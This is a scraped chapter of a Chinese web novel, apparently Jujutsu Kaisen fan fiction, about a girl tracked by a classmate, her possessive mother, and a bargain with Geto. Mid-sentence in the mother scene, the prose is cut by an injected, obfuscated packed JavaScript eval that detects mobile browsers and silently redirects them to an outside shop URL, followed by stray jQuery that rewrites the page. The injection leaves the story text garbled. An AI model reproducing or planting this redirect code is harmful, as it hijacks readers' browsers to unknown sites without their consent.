文趣网 > 都市小说 > [咒回]别当妈宝女了! > 12.贤木
    -

    “我很期待和你的下次见面,村崎(むらさき)小姐。”

    穿袈裟的长发男人轻笑着道别。

    分明只是一句再客套不过的告别,却在有心者听来多了一丝不一样的意味。

    还未来得及对眼前的不速之客做出反应,手腕就被轻轻拉起,清朗的声音从她的头顶响起。

    “紫(むらさき),该回去了。”

    没有敬语,没有姓氏,没有犹豫。

    她肋下的某处忽然泛起一种异样的感觉,杂乱无章,令人感到无端烦躁。

    黑发少年低下头,冲她弯了弯唇角,如果忽视当前的情景,那笑容几乎可以称得上阳光。

    如果这张脸的主人不是乙骨忧太的话。

    眼下,紫的脑子实在是有点转不动了。

    与夏油的一番谈话,乙骨的不请自来,还有莫名其妙的称呼转换……这一连串的信息轰炸将她的大脑搅作了一团浆糊。

    于是她就这么放弃思考,任由被他拉着走了一段路。

    自从那栋建筑里出来以后,世界都仿佛瞬间变了模样。

    可街道一切如常,阳光普照,透明的风穿过常绿植物的嫩叶,而蝉鸣还太早。

    ……到底是哪里出了问题呢?

    “那个……可以放开我了吗?”

    良久,因为小臂发酸,她忍不住开口问道。

    “啊……抱歉!”

    像是猛然意识到自己的冒犯举动,乙骨忧太仓皇放开了她的手腕,一下子又变回平时的局促模样,白皙的脸颊上泛起不安的粉色。

    “……不过秋川同学怎么会出现在这里呢?”

    他抬起上目线询问道。语气里染上了一点点委屈。

    ……这个跟踪她的人到底在委屈什么?

    “该问这个问题的应该是我吧?”她活动了一下僵硬的手腕,“乙骨同学,你又为什么会出现在这里呢?”

    听到这个问题,乙骨忧太天然的脸上露出了有些迷惑的表情:

    “嗯……为什么呢?我们不是前一天才刚共享过定位吗?因为秋川同学后来也没有关掉,所以我以为这是默许的。”

    接着他用非常理所当然的语气继续说道:

    “……而且秋川同学之前说过,你家住在世田谷区吧?我看到定位出现在奇怪的地方,感觉很担心,所以就顺道过来看看。”

    抛开实际行动不谈,这段话中蕴含的同窗关爱之情溢于言表,感人至深。

    但是抛不开。

    紫感到脸上的肌肉为了维持平静变得僵硬。

    是自己大意了,因为对方过于老实的外表而掉以轻心。

    ……话说为什么她身边会闲着没事查定位的人居然还不止一个?

    难道这个世界上像妈妈那样奇怪的人原来不在少数吗?

    紫:【世界观冲击】

    而且她要问的根本不是这个吧?

    “为什么要跟过来”和“为什么能跟过来”,完全是两码事。

    紫深吸了一口气,迅速平复了心情,果断绕开他,一个人快步往前走。

    “秋川同学,你要去哪里?”身后的人问。

    “回高专。”想了想,她板着脸补充了一句,“请不要跟着我,乙骨同学。”

    她今天晚上是真的要回家的,回家之前要去一趟高专,拿回她的主手机。

    “可是我也要回高专,会顺路也是没办法的事情,还请秋川同学忍耐一下吧。”

    他不依不饶地跟在她身后一米左右的距离。

    紫按下情绪,冷冷道:“……不许和我说话。”

    夕阳西下,晚高峰的电车里人满为患。

    乙骨忧太把最后一个座位让给了她,安静地站在旁边,甚至非常贴心地用剑袋隔在中间,避免了两人肢体接触的可能。

    电车到站时,紫摘下耳机,起身的瞬间听见耳边传来一句:

    “对不起。”

    轻得几乎要淹没在熙攘的人潮里。

    “嗯?”

    她发出一个轻轻上扬的鼻音。

    “我让秋川同学感到困扰了吗?”

    少年不敢转动目光,颤动的睫毛被夕阳照亮,说话时手指无意识地摩挲着剑袋的背带。

    紫盯着他的侧脸,片刻后回以一个礼貌而疏离的微笑:

    “没关系哦,那种事不是很重要,请别在意,乙骨同学。”

    与先前短暂的错乱不同,坐车期间紫已经整理好了思绪。

    会不听指令擅自行动的同伴,不是一个合格的帮手。

    既然乙骨忧太不合适,那么换一个更听话的就好。

    -

    晚上九点,东京,世田谷区的一间公寓内。

    卧室梳妆台前,身着睡袍的女人垂下眼睑,爱抚着少女艳丽的乌发,感叹道:“不知不觉,紫的头发已经养得这么长了。”

    椅子上的少女抬起龙胆色的眼瞳,把梳子放到台面上,淡淡道:“需要找个时间剪掉吗?妈妈。”

    镜中映出两张美丽而相似的脸,如一对诡异的双生花。

    “会妨碍到你做任务吗?”母亲按住她的手背,凑到她脸颊旁关切地问,“上次的任务怎么样?没受伤吧?”

    她面不改色地说:“不值一提。放心吧,妈妈,我有分寸的。”

    “是吗?”

    妈妈的手指从她的手背缓缓移动到小臂,凉而滑腻的触感,如游走的蛇。

    “不过紫总是对受伤很迟钝,所以我一直很担心这件事。”

    真丝睡衣的袖子被手指轻轻挽了上去,露出白皙的皮肤。

    紫忽然眼皮一跳,余光触及手臂上尚未完全消退的青紫痕迹。

    她顿时心下一惊:这是那天里香因为拥抱时太过激动在她身上留下的……

    想要遮掩的动作立刻被拦住了。妈妈的手指停在淤青最深的地方,试探性地按了下去。

    紫倒吸了一口冷气,却也咬住牙不敢出声,刚想说些什么把这个话题揭过去。一转头,两双眼睛刹那间贴得极近,几乎可以在那对深邃的瞳孔中见到自己惊慌失措的表情。

    “上次跟你一起出任务的同学,怎么不请他来家里坐坐?”

    她努力扯开一个不好意思的笑:“那个同学人很害羞的啦,妈妈,不要为难

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628509|206092||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人家。”

    于是妈妈也微微一笑:“是吗?还以为是现在的年轻人嫌弃妈妈过时没话可聊呢。”

    “哎呀,没有那种事,妈妈在我心里永远都是最厉害的。”

    她转过身,亲昵地抱住妈妈的腰,把脸埋在柔软的腹部,感受温热透过薄薄的布料传递到她的脸上。

    恍若回到了尚在子宫中安睡的时代。

    ——“……我,每天都在思考一个问题。”

    ——“假如我从一开始就没有出生的话,会不会对所有人——尤其是对妈妈——来说,是一个更好的选择呢?”

    “……妈妈,你会对我感到失望吗?”她埋着头,声音闷闷地问,“对于没有按照你的心意进瑞高,而是去咒术高专这件事。”

    “怎么会这么想呢?”妈妈用手捧起她的脸,投下慈爱的目光,“不管怎样,我的紫一定会是世界上最完美的孩子。”

    卧室的灯光自她的头顶倾泻而下,仿佛耀眼的金色光环。

    光晕眩目,将眼前的人影衬托得宛如神像。

    要是从小到大那些记忆统统都是她的幻觉该多好。

    要是她的人生只有这一个瞬间该多好。

    紫闭上双眼,沐浴在虚幻的温暖中,无比希望将时间停在这一秒钟。

    -

    “由香小姐确实曾经来过我们这里咨询。”夏油喝了一口茶,“但出于隐私保护的考虑,恕我们不能透露更多信息。”

    紫挑了下眉。方才还信誓旦旦说她是“未来的伙伴”,现在又翻脸不认人,大谈“隐私保护”了。

    夏油看出了她脸上的不满,掩袖一笑:“毕竟村崎小姐尚未成为我们真正的家人,会有所保留也是无奈之举。”

    “不过……倘若你展现出足够多的诚意的话……”

    紫听懂了他的言外之意,直截了当地问:“所以,条件是什么?”

    夏油没有立刻回答。他将茶杯放回托盘,瓷器碰撞的声音在这间过于安静的接待室里显得格外清晰。

    “条件很简单。”他伸出一根手指,目光幽深,“我希望在日后的某个时刻,村崎小姐可以站在我们这一边。”

    “我不缔结没有明确条款的约定。”紫冷淡地回复道。

    “谨慎是一种美德。”夏油从容地笑了笑,“就像‘村崎’其实也并非你真实的姓氏一样。”

    紫端着茶杯的手不禁抖了一下。

    “你知道,我是不会认可你那套极致社达的价值观的。”她强装镇静说道。

    “但就像你说过的,婴儿会有长大的一天,而成年人也会有退行的时刻。当下的判断,未必适用于未来的选择。”

    夏油说完,看到她一脸不为所动,露出了几分无可奈何的表情:“……没想到村崎小姐这么抵触我,那我只好率先展现一部分诚意了。”

    “据我所知,由香小姐生前一段时间似乎经济状况陷入了困难,交谈中时不时提及‘欠债’之事。”

    他抵着下巴,若有所指地微笑着说:“不过真奇怪呢……她已故的哥哥听说是传统纺织巨头秋川家的女婿,究竟是发生了什么才沦落到这等田地的呢?”